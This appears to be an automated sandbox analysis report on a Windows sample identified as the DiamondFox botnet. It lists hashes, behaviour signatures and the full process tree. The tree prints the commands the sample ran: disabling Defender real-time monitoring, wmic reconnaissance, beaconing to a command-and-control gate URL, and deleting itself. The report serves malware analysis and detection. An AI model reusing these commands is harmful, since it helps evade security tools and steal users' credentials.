Analysis

  • max time kernel
    128s
  • max time network
    126s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    04-07-2021 02:54

General

  • Target

    SecuriteInfo.com.Variant.Fugrafa.133115.17408.5029.exe

  • Size

    203KB

  • MD5

    a1e165e1926c0c83123c89fce6b1af56

  • SHA1

    281246ba4b852a5f62e032424f7816f5a6b0406f

  • SHA256

    2d64df6be5fbabdd41d304644e18d6dcab3d1a889df58fa962111e1c76ad2215

  • SHA512

    28e2081e6249378e7f81e46e8e4afc93828adca7cf51316e7060655a60b2ee90b6f22af0b45a23299368d821816a64bc9d02d18f69d296047604f51b12eba354

Malware Config

Signatures

  • DiamondFox

    DiamondFox is a multipurpose botnet with many capabilities.

  • DiamondFox payload 10 IoCs

    Detects DiamondFox payload in file/memory.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 6 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 4 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Fugrafa.133115.17408.5029.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Fugrafa.133115.17408.5029.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
      "C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2708
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableRealtimeMonitoring 1
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1380
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic" /Node:localhost /Namespace:\\root\SecurityCenter2 path AntiVirusProduct get DisplayName /FORMAT:List
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3548
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic" os get caption /FORMAT:List
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4000
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic" path win32_VideoController get caption /FORMAT:List
        3⤵
          PID:2940
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic" path win32_NetworkAdapterConfiguration where IPEnabled=1 get IPAddress /FORMAT:List
          3⤵
            PID:3156
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            "wmic" LogicalDisk Where DriveType=4 get VolumeName /FORMAT:List
            3⤵
              PID:2760
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
              3⤵
                PID:640
              • C:\Windows\SysWOW64\Wbem\wmic.exe
                "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
                3⤵
                  PID:2464
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  /scomma "C:\Users\Admin\AppData\Local\Temp\1.log"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2004
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  /scomma "C:\Users\Admin\AppData\Local\Temp\4.log"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of SetWindowsHookEx
                  PID:3156
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  /scomma "C:\Users\Admin\AppData\Local\Temp\2.log"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2272
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  /scomma "C:\Users\Admin\AppData\Local\Temp\3.log"
                  3⤵
                  • Executes dropped EXE
                  PID:3284
                • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                  X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                  3⤵
                  • Executes dropped EXE
                  PID:684
                  • C:\Windows\notepad.exe
                    X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    4⤵
                    • Opens file in notepad (likely ransom note)
                    PID:4000
                  • C:\Windows\write.exe
                    X C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    4⤵
                      PID:200
                  • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:196
                  • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:1496
                  • C:\Users\Admin\AppData\Roaming\EdgeCP\MicrosoftEdgeCPS.exe
                    X http://diamond.serivice.com/panel/gate.php*Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 Vivaldi/3.5*f272b772399b50913c7637633c5ac5d8
                    3⤵
                    • Executes dropped EXE
                    PID:348
                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                    "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
                    3⤵
                      PID:1488
                    • C:\Windows\SysWOW64\Wbem\wmic.exe
                      "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
                      3⤵
                        PID:3296
                      • C:\Windows\SysWOW64\taskkill.exe
                        "taskkill" /PID 684 /F
                        3⤵
                        • Kills process with taskkill
                        PID:3152
                      • C:\Windows\SysWOW64\taskkill.exe
                        "taskkill" /PID 196 /F
                        3⤵
                        • Kills process with taskkill
                        PID:2760
                      • C:\Windows\SysWOW64\taskkill.exe
                        "taskkill" /PID 348 /F
                        3⤵
                        • Kills process with taskkill
                        PID:2692
                      • C:\Windows\SysWOW64\taskkill.exe
                        "taskkill" /PID 1496 /F
                        3⤵
                        • Kills process with taskkill
                        PID:4032
                      • C:\Windows\SysWOW64\Wbem\wmic.exe
                        "wmic" path win32_PingStatus where address='diamond.serivice.com' get StatusCode /FORMAT:List
                        3⤵
                          PID:792
                        • C:\Windows\SysWOW64\Wbem\wmic.exe
                          "wmic" path win32_PingStatus where address='diamond.serivice.com' get ResponseTime /FORMAT:List
                          3⤵
                            PID:3728
                          • C:\Users\Admin\AppData\Local\Temp\localmgr.exe
                            "C:\Users\Admin\AppData\Local\Temp\localmgr.exe"
                            3⤵
                            • Executes dropped EXE
                            PID:2160
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "powershell" Start-Sleep -s 10; Remove-Item -Path 'C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Fugrafa.133115.17408.5029.exe' -Force -Recurse
                          2⤵
                          • Deletes itself
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2184

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/196-218-0x0000000000400000-0x0000000000405000-memory.dmp

                        Filesize

                        20KB

                      • memory/348-225-0x0000000000400000-0x0000000000431000-memory.dmp

                        Filesize

                        196KB

                      • memory/684-217-0x0000000000400000-0x0000000000413000-memory.dmp

                        Filesize

                        76KB

                      • memory/1380-148-0x0000000007C50000-0x0000000007C51000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-140-0x0000000007530000-0x0000000007531000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-165-0x0000000008990000-0x00000000089C3000-memory.dmp

                        Filesize

                        204KB

                      • memory/1380-172-0x0000000008970000-0x0000000008971000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-177-0x0000000008DD0000-0x0000000008DD1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-178-0x000000007F130000-0x000000007F131000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-179-0x00000000041B3000-0x00000000041B4000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-180-0x0000000008F20000-0x0000000008F21000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-125-0x0000000006C10000-0x0000000006C11000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-129-0x00000000041B0000-0x00000000041B1000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-131-0x00000000041B2000-0x00000000041B3000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-133-0x0000000006A50000-0x0000000006A51000-memory.dmp

                        Filesize

                        4KB

                      • memory/1380-135-0x0000000007420000-0x0000000007421000-memory.dmp

                        Filesize

                        4KB

                      • memory/1496-221-0x0000000000400000-0x0000000000406000-memory.dmp

                        Filesize

                        24KB

                      • memory/2004-198-0x0000000000400000-0x000000000047C000-memory.dmp

                        Filesize

                        496KB

                      • memory/2160-237-0x0000000004F70000-0x000000000546E000-memory.dmp

                        Filesize

                        5.0MB

                      • memory/2160-238-0x0000000004F70000-0x000000000546E000-memory.dmp

                        Filesize

                        5.0MB

                      • memory/2184-145-0x00000000084F0000-0x00000000084F1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2184-143-0x0000000007AF0000-0x0000000007AF1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2184-137-0x00000000072E0000-0x00000000072E1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2184-208-0x0000000004933000-0x0000000004934000-memory.dmp

                        Filesize

                        4KB

                      • memory/2184-128-0x0000000004930000-0x0000000004931000-memory.dmp

                        Filesize

                        4KB

                      • memory/2184-123-0x00000000047E0000-0x00000000047E1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2184-130-0x0000000004932000-0x0000000004933000-memory.dmp

                        Filesize

                        4KB

                      • memory/2184-163-0x0000000008FE0000-0x0000000008FE1000-memory.dmp

                        Filesize

                        4KB

                      • memory/2184-160-0x0000000009A30000-0x0000000009A31000-memory.dmp

                        Filesize

                        4KB

                      • memory/2272-207-0x0000000000400000-0x0000000000422000-memory.dmp

                        Filesize

                        136KB

                      • memory/3156-202-0x0000000000400000-0x0000000000405000-memory.dmp

                        Filesize

                        20KB

                      • memory/3284-211-0x0000000000400000-0x0000000000455000-memory.dmp

                        Filesize

                        340KB